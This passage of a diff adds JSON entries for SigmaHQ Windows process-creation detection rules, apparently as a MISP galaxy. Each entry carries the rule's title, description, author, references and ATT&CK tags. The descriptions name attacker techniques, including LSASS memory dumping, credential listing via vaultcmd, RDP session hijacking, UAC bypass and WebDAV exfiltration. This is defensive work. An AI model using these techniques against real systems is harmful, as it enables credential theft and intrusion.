Burkard", + "creation_date": "2021/11/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_target_location_shell32.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.group-ib.com/resources/threat-research/red-curl-2.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_target_location_shell32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.011" + ] + }, + "uuid": "32b96012-7892-429e-b26c-ac2bf46066ff", + "value": "Shell32 DLL Execution in Suspicious Directory" + }, + { + "description": "Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.", + "meta": { + "author": "frack113", + "creation_date": "2021/12/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_taskkill.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1489/T1489.md#atomic-test-3---windows---stop-service-by-killing-process", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskkill.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ] + }, + "uuid": "86085955-ea48-42a2-9dd3-85d4c36b167d", + "value": "Suspicious Execution of Taskkill" + }, + { + "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network", + "meta": { + "author": "frack113", + "creation_date": "2021/12/11", + "falsepositive": [ + "Administrator, hotline ask to user" + ], + "filename": "proc_creation_win_susp_tasklist_command.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-2---process-discovery---tasklist", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tasklist_command.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1057" + ] + }, + "uuid": "63332011-f057-496c-ad8d-d2b6afb27f96", + "value": "Suspicious Tasklist Discovery Command" + }, + { + "description": "Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/03/18", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_taskmgr_localsystem.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskmgr_localsystem.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ] + }, + "uuid": "9fff585c-c33e-4a86-b3cd-39312079a65f", + "value": "Taskmgr as LOCAL_SYSTEM" + }, + { + "description": "Detects the creation of a process from Windows task manager", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/03/13", + "falsepositive": [ + "Administrative activity" + ], + "filename": "proc_creation_win_susp_taskmgr_parent.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskmgr_parent.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ] + }, + "uuid": "3d7679bd-0c00-440c-97b0-3f204273e6c7", + "value": "Taskmgr as Parent" + }, + { + "description": "This rule detects DLL injection and execution via LOLBAS - Tracker.exe", + "meta": { + "author": "Avneet Singh @v3t0_, oscd.community", + "creation_date": "2020/10/18", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_tracker_execution.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tracker_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055.001" + ] + }, + "uuid": "148431ce-4b70-403d-8525-fcc2993f29ea", + "value": "DLL Injection with Tracker.exe" + }, + { + "description": "Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/10", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_trolleyexpress_procdump.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/_xpn_/status/1491557187168178176", + "https://www.youtube.com/watch?v=Ie831jF0bb0", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_trolleyexpress_procdump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011", + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "4c0aaedc-154c-4427-ada0-d80ef9c9deb6", + "value": "Process Access via TrolleyExpress Exclusion" + }, + { + "description": "Detects a tscon.exe start as LOCAL SYSTEM", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/03/17", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_tscon_localsystem.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", + "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", + "https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_localsystem.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "9847f263-4a81-424f-970c-875dab15b79b", + "value": "Suspicious TSCON Start as SYSTEM" + }, + { + "description": "Detects a suspicious RDP session redirect using tscon.exe", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/03/17", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_tscon_rdp_redirect.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", + "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_rdp_redirect.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1563.002", + "attack.t1021.001", + "car.2013-07-002" + ] + }, + "uuid": "f72aa3e8-49f9-4c7d-bd74-f8ab84ff9bbb", + "value": "Suspicious RDP Redirect Using TSCON" + }, + { + "description": "Detects indicators of a UAC bypass method by mocking directories", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/08/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_uac_bypass_trustedpath.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e", + "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", + "https://github.com/netero1010/TrustedPath-UACBypass-BOF", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_uac_bypass_trustedpath.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1548.002" + ] + }, + "uuid": "4ac47ed3-44c2-4b1f-9d51-bf46e8914126", + "value": "TrustedPath UAC Bypass Pattern" + }, + { + "description": "Detects a suspicious child process of userinit", + "meta": { + "author": "Florian Roth (rule), Samir Bousseaden (idea)", + "creation_date": "2019/06/17", + "falsepositive": [ + "Administrative scripts" + ], + "filename": "proc_creation_win_susp_userinit_child.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1139811587760562176", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_userinit_child.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055" + ] + }, + "uuid": "b655a06a-31c0-477a-95c2-3726b83d649d", + "value": "Suspicious Userinit Child Process" + }, + { + "description": "Detects the execution of CSharp interactive console by PowerShell", + "meta": { + "author": "Michael R. (@nahamike01)", + "creation_date": "2020/03/08", + "falsepositive": [ + "Possible depending on environment. Pair with other factors such as net connections, command-line args, etc." + ], + "filename": "proc_creation_win_susp_use_of_csharp_console.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/detecting-attacks-leveraging-the-net-framework/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_csharp_console.yml" + ], + "tags": [ + "attack.execution", + "attack.t1127" + ] + }, + "uuid": "a9e416a8-e613-4f8b-88b8-a7d1d1af2f61", + "value": "Suspicious Use of CSharp Interactive Console" + }, + { + "description": "This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n", + "meta": { + "author": "Agro (@agro_sev) oscd.community", + "creation_date": "2020/10/10", + "falsepositive": [ + "Direct PS command execution through SQLPS.exe is uncommon, childprocess sqlps.exe spawned by sqlagent.exe is a legitimate action." + ], + "filename": "proc_creation_win_susp_use_of_sqlps_bin.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/sql/tools/sqlps-utility?view=sql-server-ver15", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/", + "https://twitter.com/bryon_/status/975835709587075072", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_sqlps_bin.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1127" + ] + }, + "uuid": "0152550d-3a26-4efd-9f0e-54a0b28ae2f3", + "value": "Detection of PowerShell Execution via Sqlps.exe" + }, + { + "description": "This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n", + "meta": { + "author": "Agro (@agro_sev) oscd.communitly", + "creation_date": "2020/10/13", + "falsepositive": [ + "Direct PS command execution through SQLToolsPS.exe is uncommon, childprocess sqltoolsps.exe spawned by smss.exe is a legitimate action." + ], + "filename": "proc_creation_win_susp_use_of_sqltoolsps_bin.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OtherMSBinaries/Sqltoolsps.yml", + "https://twitter.com/pabraeken/status/993298228840992768", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_sqltoolsps_bin.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1127" + ] + }, + "uuid": "a746c9b8-a2fb-4ee5-a428-92bee9e99060", + "value": "SQL Client Tools PowerShell Session Detection" + }, + { + "description": "Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces\nAdversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe\n", + "meta": { + "author": "Agro (@agro_sev) oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "It's not an uncommon to use te.exe directly to execute legal TAEF tests" + ], + "filename": "proc_creation_win_susp_use_of_te_bin.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/", + "https://twitter.com/pabraeken/status/993298228840992768", + "https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml" + ], + "tags": [ + "attack.t1218" + ] + }, + "uuid": "634b00d5-ccc3-4a06-ae3b-0ec8444dd51b", + "value": "Malicious Windows Script Components File Execution by TAEF Detection" + }, + { + "description": "There is an option for a MS VS Just-In-Time Debugger \"vsjitdebugger.exe\" to launch specified executable and attach a debugger.\nThis option may be used adversaries to execute malicious code by signed verified binary.\nThe debugger is installed alongside with Microsoft Visual Studio package.\n", + "meta": { + "author": "Agro (@agro_sev), Ensar Şamil (@sblmsrsn), oscd.community", + "creation_date": "2020/10/14", + "falsepositive": [ + "The process spawned by vsjitdebugger.exe is uncommon." + ], + "filename": "proc_creation_win_susp_use_of_vsjitdebugger_bin.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/pabraeken/status/990758590020452353", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/", + "https://docs.microsoft.com/en-us/visualstudio/debugger/debug-using-the-just-in-time-debugger?view=vs-2019", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_vsjitdebugger_bin.yml" + ], + "tags": [ + "attack.t1218", + "attack.defense_evasion" + ] + }, + "uuid": "15c7904e-6ad1-4a45-9b46-5fb25df37fd2", + "value": "Malicious PE Execution by Microsoft Visual Studio Debugger" + }, + { + "description": "List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe", + "meta": { + "author": "frack113", + "creation_date": "2022/04/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_vaultcmd.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.004/T1555.004.md#atomic-test-1---access-saved-credentials-via-vaultcmd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vaultcmd.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.004" + ] + }, + "uuid": "58f50261-c53b-4c88-bd12-1d71f12eda4c", + "value": "Windows Credential Manager Access via VaultCmd" + }, + { + "description": "Detect VBoxDrvInst.exe run with parameters allowing processing INF file.\nThis allows to create values in the registry and install drivers.\nFor example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys\n", + "meta": { + "author": "Konstantin Grishchenko, oscd.community", + "creation_date": "2020/10/06", + "falsepositive": [ + "Legitimate use of VBoxDrvInst.exe utility by VirtualBox Guest Additions installation process" + ], + "filename": "proc_creation_win_susp_vboxdrvinst.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OtherBinaries/VBoxDrvInst.yml", + "https://twitter.com/pabraeken/status/993497996179492864", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vboxdrvinst.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "b7b19cb6-9b32-4fc4-a108-73f19acfe262", + "value": "Suspicious VBoxDrvInst.exe Parameters" + }, + { + "description": "Detects suspicious inline VBScript keywords as used by UNC2452", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/03/05", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_vbscript_unc2452.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vbscript_unc2452.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "20c3f09d-c53d-4e85-8b74-6aa50e2f1b61", + "value": "Suspicious VBScript UN2452 Pattern" + }, + { + "description": "Detects commands that temporarily turn off Volume Snapshots", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/01/28", + "falsepositive": [ + "Legitimate administration" + ], + "filename": "proc_creation_win_susp_volsnap_disable.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/0gtweet/status/1354766164166115331", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_volsnap_disable.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "dee4af55-1f22-4e1d-a9d2-4bdc7ecb472a", + "value": "Disabled Volume Snapshots" + }, + { + "description": "Detects Microsoft Visual Studio vsls-agent.exe lolbin execution with a suspicious library load using the --agentExtensionPath parameter", + "meta": { + "author": "bohops", + "creation_date": "2022/10/30", + "falsepositive": [ + "False positives depend on custom use of vsls-agent.exe" + ], + "filename": "proc_creation_win_susp_vslsagent_agentextensionpath_load.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/bohops/status/1583916360404729857", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vslsagent_agentextensionpath_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "43103702-5886-11ed-9b6a-0242ac120002", + "value": "Suspicious Vsls-Agent Command With AgentExtensionPath Load" + }, + { + "description": "A General detection for svchost.exe spawning rundll32.exe with command arguments like C:\\windows\\system32\\davclnt.dll,DavSetCookie.\nThis could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server).\n", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/05/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_webdav_client_execution.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/17", + "https://threathunterplaybook.com/evals/apt29/detections/7.B.4_C10730EA-6345-4934-AA0F-B0EFCA0C4BA6.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_webdav_client_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ] + }, + "uuid": "2dbd9d3d-9e27-42a8-b8df-f13825c6c3d5", + "value": "Suspicious WebDav Client Execution" + }, + { + "description": "Detects the use of various web request with commandline tools or Windows PowerShell command,methods (including aliases)", + "meta": { + "author": "James Pemberton / @4A616D6573", + "creation_date": "2019/10/24", + "falsepositive": [ + "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer." + ], + "filename": "proc_creation_win_susp_web_request_cmd.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/", + "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_request_cmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "9fc51a3c-81b3-4fa7-b35f-7c02cf10fd2d", + "value": "Windows Suspicious Use Of Web Request in CommandLine" + }, + { + "description": "Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions)", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_web_sysaidserver.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_sysaidserver.yml" + ], + "tags": "No established tags" + }, + "uuid": "60bfeac3-0d35-4302-8efb-1dd16f715bc6", + "value": "Suspicious SysAidServer Child" + }, + { + "description": "Detects suspicious Windows Error Reporting manager (wermgr.exe) process patterns - suspicious parents / children, execution folders, command lines etc.", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/10/14", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_wermgr.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html", + "https://www.echotrail.io/insights/search/wermgr.exe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wermgr.yml" + ], + "tags": "No established tags" + }, + "uuid": "CBEC226F-63D9-4ECA-9F52-DFB6652F24DF", + "value": "Suspicious WERMGR Process Patterns" + }, + { + "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", + "meta": { + "author": "frack113, Nasreddine Bencherchali", + "creation_date": "2021/12/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_where_execution.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_where_execution.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1217" + ] + }, + "uuid": "725a9768-0f5e-4cb3-aec2-bc5719c6831a", + "value": "Suspicious Where Execution" + }, + { + "description": "Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation but rarely used by administrators", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/08/13", + "falsepositive": [ + "Admin activity", + "Scripts and administrative tools used in the monitored environment", + "Monitoring activity" + ], + "filename": "proc_creation_win_susp_whoami.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "car.2016-03-001" + ] + }, + "uuid": "e28a5a99-da44-436d-b7a0-2afc20a5f413", + "value": "Whoami Execution" + }, + { + "description": "Detects the execution of whoami with suspicious parents or parameters", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/08/12", + "falsepositive": [ + "Admin activity", + "Scripts and administrative tools used in the monitored environment", + "Monitoring activity" + ], + "filename": "proc_creation_win_susp_whoami_anomaly.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", + "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami_anomaly.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "car.2016-03-001" + ] + }, + "uuid": "8de1cbe8-d6f5-496d-8237-5f44a721c7a0", + "value": "Whoami Execution Anomaly" + }, + { + "description": "Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/11/29", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_whoami_as_param.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/blackarrowsec/status/1463805700602224645?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami_as_param.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "car.2016-03-001" + ] + }, + "uuid": "e9142d84-fbe0-401d-ac50-3e519fb00c89", + "value": "WhoAmI as Parameter" + }, + { + "description": "Detects a suspicious winrar execution that involves a file with a .dmp extension, which could be a step in a process of dump file exfiltration", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/04", + "falsepositive": [ + "Legitimate use of WinRAR with a command line in which .dmp appears accidentally" + ], + "filename": "proc_creation_win_susp_winrar_dmp.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_dmp.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ] + }, + "uuid": "1ac14d38-3dfc-4635-92c7-e3fd1c5f5bfc", + "value": "Winrar Compressing Dump Files" + }, + { + "description": "Detects a suspicious winrar execution in a folder which is not the default installation folder", + "meta": { + "author": "Florian Roth, Tigzy", + "creation_date": "2021/11/17", + "falsepositive": [ + "Legitimate use of WinRAR in a folder of a software that bundles WinRAR" + ], + "filename": "proc_creation_win_susp_winrar_execution.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/cyb3rops/status/1460978167628406785", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_execution.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ] + }, + "uuid": "4ede543c-e098-43d9-a28f-dd784a13132f", + "value": "Winrar Execution in Non-Standard Folder" + }, + { + "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", + "meta": { + "author": "Julia Fomina, oscd.community", + "creation_date": "2020/10/06", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_susp_winrm_awl_bypass.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrm_awl_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "074e0ded-6ced-4ebd-8b4d-53f55908119d", + "value": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl" + }, + { + "description": "Detects an attempt to execute code or create service on remote host via winrm.vbs.", + "meta": { + "author": "Julia Fomina, oscd.community", + "creation_date": "2020/10/07", + "falsepositive": [ + "Legitimate use for administartive purposes. Unlikely" + ], + "filename": "proc_creation_win_susp_winrm_execution.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/bohops/status/994405551751815170", + "https://redcanary.com/blog/lateral-movement-winrm-wmi/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrm_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "9df0dd3a-1a5c-47e3-a2bc-30ed177646a0", + "value": "Remote Code Execute via Winrm.vbs" + }, + { + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", + "meta": { + "author": "frack113", + "creation_date": "2021/07/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_winzip.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winzip.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ] + }, + "uuid": "e2e80da2-8c66-4e00-ae3c-2eebd29f6b6d", + "value": "Compress Data and Lock With Password for Exfiltration With WINZIP" + }, + { + "description": "Detects WMIC executions in which a event consumer gets created in order to establish persistence", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/06/25", + "falsepositive": [ + "Legitimate software creating script event consumers" + ], + "filename": "proc_creation_win_susp_wmic_eventconsumer_create.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/johnlatwc/status/1408062131321270282?s=12", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_eventconsumer_create.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.003" + ] + }, + "uuid": "ebef4391-1a81-4761-a40a-1db446c0e625", + "value": "Suspicious WMIC ActiveScriptEventConsumer Creation" + }, + { + "description": "Detects WMIC executing suspicious or recon commands", + "meta": { + "author": "Michael Haag, Florian Roth, juju4, oscd.community", + "creation_date": "2019/01/16", + "falsepositive": [ + "If using Splunk, we recommend | stats count by Computer,CommandLine following for easy hunting by Computer/CommandLine" + ], + "filename": "proc_creation_win_susp_wmic_execution.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + 